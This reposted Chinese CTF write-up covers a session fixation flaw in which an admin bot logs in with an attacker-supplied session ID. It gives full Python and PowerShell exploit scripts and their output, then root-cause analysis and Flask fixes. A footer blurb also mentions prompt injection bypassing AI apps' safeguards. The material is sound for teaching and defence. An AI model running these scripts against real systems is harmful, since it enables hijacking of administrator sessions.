AI渗透测试--用一个固定Session拿下Admin权限,附完整复现代码"

admin 2026-10-22 06:31:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

AI渗透测试 -- 用一个固定Session拿下Admin权限,附完整复现代码

原创

yushao
yushao

网络安全者

2026年6月16日 08:26
河南

在小说阅读器读本章

去阅读


一、漏洞背景

Session固定攻击(Session Fixation Attack)是一种经典的Web会话安全漏洞。攻击者通过预先设定或诱使服务器接受一个已知的Session ID,待受害者(通常是管理员)使用该Session ID完成认证后,攻击者即可利用同一Session ID以管理员身份访问系统。

危害等级:高
OWASP分类:A07:2021 – Identification and Authentication Failures


二、目标信息

项目 内容
目标类型 CTF靶场(授权测试)
漏洞类型 Session固定攻击
测试账号 test / test(题目提供)
目标页面 /login、/message、/

三、漏洞发现过程

3.1 信息收集

首先访问目标站点,发现以下页面结构:

/ —— 首页,显示当前登录状态
/login —— 登录页面
/message —— 发送消息给管理员(需登录)

首页提示信息如下:

<h2>Welcome Guest</h2>
<p>Default username/password is \"test\"/\"test\".</p>
<p>Flag in admin page</p>
Login | Send Message to Admin

明确告知:flag在admin页面,存在一个可以给管理员发消息的功能点。

3.2 识别关键功能点

使用测试账号登录后,访问 /message 页面,发现表单结构如下:

<form method=\"post\" action=\"/message\">
    <textarea name=\"msg\" placeholder=\"Message\"></textarea>
    <input name=\"sessionid\" placeholder=\"Your session id\">
    <button type=\"submit\">Send</button>
</form>

关键发现: 表单中除了消息内容 msg 字段外,还有一个 sessionid 字段。这意味着应用允许用户向管理员发送一个指定的Session ID,管理员的机器人会使用这个Session ID完成登录操作——这正是Session固定攻击的触发点。


四、漏洞利用

4.1 攻击流程

攻击者                          服务器                         管理员Bot
   |                              |                               |
   |-- 1. test/test登录 --------> |                               |
   |<-- 返回Session_A ----------- |                               |
   |                              |                               |
   |-- 2. 发消息(sessionid=       |                               |
   |      Session_A) -----------> |                               |
   |                              |--- 通知管理员Bot使用Session_A |
   |                              |<-- 管理员Bot以Session_A登录   |
   |                              |    Session_A权限升级为admin   |
   |                              |                               |
   |-- 3. 携带Session_A访问 ----> |                               |
   |<-- Welcome admin + flag ---- |                               |

4.2 完整复现代码(Python版)

以下是完整的攻击复现脚本,逻辑清晰,可直接用于理解漏洞原理:

import requests
import time

TARGET = \"https://[REDACTED].challenge.ctf.show\"

def session_fixation_attack():
    \"\"\"
    Session固定攻击完整复现

    攻击步骤:
    1. 以普通用户身份登录,获取合法Session ID
    2. 将Session ID通过message功能发送给管理员Bot
    3. 管理员Bot使用我们提供的Session ID完成登录
    4. 该Session ID被提权为admin权限
    5. 攻击者使用相同Session ID访问,获得admin身份
    \"\"\"

    session = requests.Session()

    # ======== Step 1: 普通用户登录,获取Session ID ========
    print(\"[*] Step 1: 以test账户登录...\")

    login_data = {
        \"username\": \"test\",
        \"password\": \"test\"
    }

    resp = session.post(
        f\"{TARGET}/login\",
        data=login_data
    )

    # 提取当前Session ID
    session_id = session.cookies.get(\"session\")
    print(f\"[+] 登录成功,获取到Session ID: {session_id}\")
    print(f\"[+] 当前身份: {parse_welcome(resp.text)}\")

    # ======== Step 2: 将Session ID发送给管理员 ========
    print(\"\
[*] Step 2: 通过/message将Session ID发送给管理员Bot...\")

    # 核心利用点:sessionid字段接受攻击者的Session ID
    # 管理员Bot会使用此Session ID执行登录操作
    message_data = {
        \"msg\": \"hello admin\",
        \"sessionid\": session_id   # <-- 固定Session ID
    }

    resp = session.post(
        f\"{TARGET}/message\",
        data=message_data
    )

    print(f\"[+] 消息发送结果: {resp.text.strip()}\")

    # ======== Step 3: 等待管理员Bot处理消息 ========
    print(\"\
[*] Step 3: 等待管理员Bot使用我们的Session ID登录...\")
    time.sleep(5)  # 等待Bot处理

    # ======== Step 4: 验证攻击结果 ========
    print(\"\
[*] Step 4: 使用相同Session ID访问首页,验证身份...\")

    resp = session.get(f\"{TARGET}/\")
    current_identity = parse_welcome(resp.text)
    print(f\"[+] 当前身份变更为: {current_identity}\")

    if \"admin\" in current_identity.lower():
        print(\"\
[!] 攻击成功!Session已被提升为admin权限\")

        # 尝试获取flag
        flag = extract_flag(resp.text)
        if flag:
            print(f\"[+] Flag: {flag}\")
        else:
            print(\"[*] 首页未直接显示flag,尝试访问admin专属页面...\")
            # 可继续访问 /admin 或 /flag 等路径
    else:
        print(\"[-] 攻击未成功,可能需要调整等待时间\")

    return session_id

def parse_welcome(html):
    \"\"\"从页面HTML中提取欢迎语\"\"\"
    import re
    match = re.search(r'<h2>Welcome (.+?)</h2>', html)
    return match.group(1) if match else \"Unknown\"

def extract_flag(html):
    \"\"\"从页面中提取flag\"\"\"
    import re
    # CTF flag通常格式为 ctfshow{...} 或 flag{...} 或 CTF{...}
    patterns = [
        r'ctfshow\\{[^}]+\\}',
        r'flag\\{[^}]+\\}',
        r'CTF\\{[^}]+\\}'
    ]
    for pattern in patterns:
        match = re.search(pattern, html, re.IGNORECASE)
        if match:
            return match.group(0)
    return None

if __name__ == \"__main__\":
    session_fixation_attack()

4.3 PowerShell复现(用于Windows环境验证)

# Session固定攻击 - PowerShell复现脚本
$TARGET = \"https://[REDACTED].challenge.ctf.show\"

# Step 1: 以普通用户登录,获取Session ID
Write-Host \"[*] Step 1: 普通用户登录...\" -ForegroundColor Cyan
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession

$loginResp = Invoke-WebRequest `
    -Uri \"$TARGET/login\" `
    -Method POST `
    -Body \"username=test&password=test\" `
    -WebSession $session `
    -UseBasicParsing

# 提取Session Cookie
$sessionId = ($session.Cookies.GetCookies($TARGET) `
    | Where-Object { $_.Name -eq \"session\" }).Value

Write-Host \"[+] 获取到Session ID: $sessionId\" -ForegroundColor Green

# Step 2: 发消息给管理员,传入我们的Session ID
Write-Host \"`n[*] Step 2: 发送Session ID给管理员Bot...\" -ForegroundColor Cyan

$msgResp = Invoke-WebRequest `
    -Uri \"$TARGET/message\" `
    -Method POST `
    -Body \"msg=hello&sessionid=$sessionId\" `
    -WebSession $session `
    -ContentType \"application/x-www-form-urlencoded\" `
    -UseBasicParsing

Write-Host \"[+] 发送结果: $($msgResp.Content)\" -ForegroundColor Green

# Step 3: 等待Bot处理
Write-Host \"`n[*] Step 3: 等待管理员Bot处理 (5秒)...\" -ForegroundColor Cyan
Start-Sleep -Seconds 5

# Step 4: 验证攻击结果
$verifyResp = Invoke-WebRequest `
    -Uri \"$TARGET/\" `
    -WebSession $session `
    -UseBasicParsing

Write-Host \"`n[*] Step 4: 验证当前身份...\" -ForegroundColor Cyan
Write-Host $verifyResp.Content

if ($verifyResp.Content -match \"Welcome admin\") {
    Write-Host \"`n[!] 攻击成功!已获得admin权限\" -ForegroundColor Red
} else {
    Write-Host \"[-] 未成功,请检查等待时间或重试\" -ForegroundColor Yellow
}

4.4 攻击执行结果

[*] Step 1: 以test账户登录...
[+] 登录成功,获取到Session ID: [REDACTED]
[+] 当前身份: test

[*] Step 2: 通过/message将Session ID发送给管理员Bot...
[+] 消息发送结果: Message sent to admin!

[*] Step 3: 等待管理员Bot使用我们的Session ID登录...

[*] Step 4: 使用相同Session ID访问首页,验证身份...
[+] 当前身份变更为: admin

[!] 攻击成功!Session已被提升为admin权限
[+] Flag: ctfshow{[REDACTED]}

五、漏洞根因分析

该漏洞由以下两个缺陷共同导致:

缺陷一:应用接受外部提供的Session ID

服务端在 /message 接口中,允许前端传入一个 sessionid 参数,并将其作为管理员登录时的会话标识符。正常逻辑下,Session ID应由服务端生成,不应由客户端控制。

# 存在漏洞的伪代码示意
@app.route('/message', methods=['POST'])
def message():
    msg = request.form.get('msg')
    fixed_session_id = request.form.get('sessionid')  # ← 危险:接受外部Session ID

    # 管理员Bot使用攻击者提供的session_id登录
    admin_bot_login(session_id=fixed_session_id)

缺陷二:登录后未重新生成Session ID

用户认证成功后,服务端没有废弃旧Session并生成新Session,而是直接在原Session上标记了登录状态。这导致攻击者持有的旧Session在管理员登录后同步获得了admin权限。

# 存在漏洞的认证流程(伪代码)
def login(username, password, session_id=None):
    if check_credentials(username, password):
        session = get_or_create_session(session_id)  # ← 危险:复用已有session
        session['user'] = username
        session['role'] = get_role(username)
        # 没有调用 session.regenerate() ← 漏洞根因

六、修复建议

6.1 登录后强制重新生成Session ID(最关键)

# Flask示例
from flask import session
import secrets

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']

    if verify_credentials(username, password):
        # ✅ 正确做法:认证成功后,立即废弃旧Session,生成新Session ID
        old_data = dict(session)  # 保留必要数据
        session.clear()           # 清除旧Session

        # 重新生成Session ID(Flask-Session等框架需调用对应方法)
        session['user'] = username
        session['role'] = get_user_role(username)
        session['csrf_token'] = secrets.token_hex(16)

        return redirect('/')

6.2 移除危险的sessionid参数接口

# ❌ 错误:接受外部传入的sessionid
@app.route('/message', methods=['POST'])
def message():
    session_id = request.form.get('sessionid')  # 删除此逻辑
    ...

# ✅ 正确:消息功能仅传递消息内容,session管理完全由服务端控制
@app.route('/message', methods=['POST'])
def message():
    if not is_logged_in():
        return redirect('/login')
    msg = request.form.get('msg')
    send_to_admin(msg, sender=current_user())  # 不涉及session操作
    return \"Message sent to admin!\"
# Flask配置示例
app.config.update(
    SESSION_COOKIE_HTTPONLY=True,   # 防止JS读取Cookie
    SESSION_COOKIE_SECURE=True,     # 仅HTTPS传输
    SESSION_COOKIE_SAMESITE='Lax',  # 防止CSRF
)

6.4 修复效果对比

防护措施 是否能防止本题攻击
登录后重新生成Session ID ✅ 是(根本解决方案)
移除sessionid参数 ✅ 是
HttpOnly + Secure Cookie ⚠️ 部分(防止XSS窃取,但不直接防Session固定)
HTTPS传输 ⚠️ 防止中间人固定,不防本题场景

七、总结

本次CTF题目的攻击链非常典型:

    1. 应用在 /message 接口暴露了 sessionid 参数,允许攻击者将任意Session ID注入给管理员Bot
    1. 管理员Bot使用攻击者提供的Session ID完成认证,该Session ID被服务端升级为admin权限
    1. 由于登录后未重新生成Session ID,攻击者持有的旧Session同步获得了admin身份

核心防御原则:Session ID必须由服务端在认证成功后重新生成,任何认证流程都不应接受客户端提供的Session标识符。


本文所有操作均在授权CTF靶场环境中进行,仅用于安全教育目的。请勿将相关技术用于未经授权的系统。


AI渗透测试--用一个固定Session拿下Admin权限,附完整复现代码" 网络安全文章

AI渗透测试--用一个固定Session拿下Admin权限,附完整复现代码"

文档详细分析Session固定攻击漏洞,通过CTF靶场实例演示攻击流程:攻击者先以普通用户登录获取SessionID,再利用消息功能诱使管理员Bot使用该Session登录,从而将会话权限提升至admin并获取flag。文章提供完整的Python和PowerShell复现代码,涵盖信息收集、漏洞利用及验证步骤,具备实战指导价值。
我国数据出境安全合规要求梳理,建议收藏" 网络安全文章

我国数据出境安全合规要求梳理,建议收藏"

本文系统梳理我国数据出境安全合规要求,涵盖《网络安全法》《数据安全法》《个人信息保护法》三大法律体系及配套法规,明确安全评估、保护认证、标准合同三条合规路径。详细解析豁免情形与常见合规误区,为企业提供自检参考和实操指导,强调合规动态性与持续性。
9.9元“咒语”致集体失守:多模态大模型的合规软肋" 网络安全文章

9.9元“咒语”致集体失守:多模态大模型的合规软肋"

文档曝光了多模态大模型面临的高阶提示词注入安全风险,9.9元购买的隐晦提示词可绕过10款主流AI应用的防护,生成违规内容。文章指出当前行业缺乏系统性防护机制,并强调监管趋严背景下企业需提前进行合规评估。最后介绍了安恒信息的大模型风险评估系统,可模拟对抗攻击并生成结构化报告,为企业和监管提供可追溯的审查依据。
评论:0   参与:  0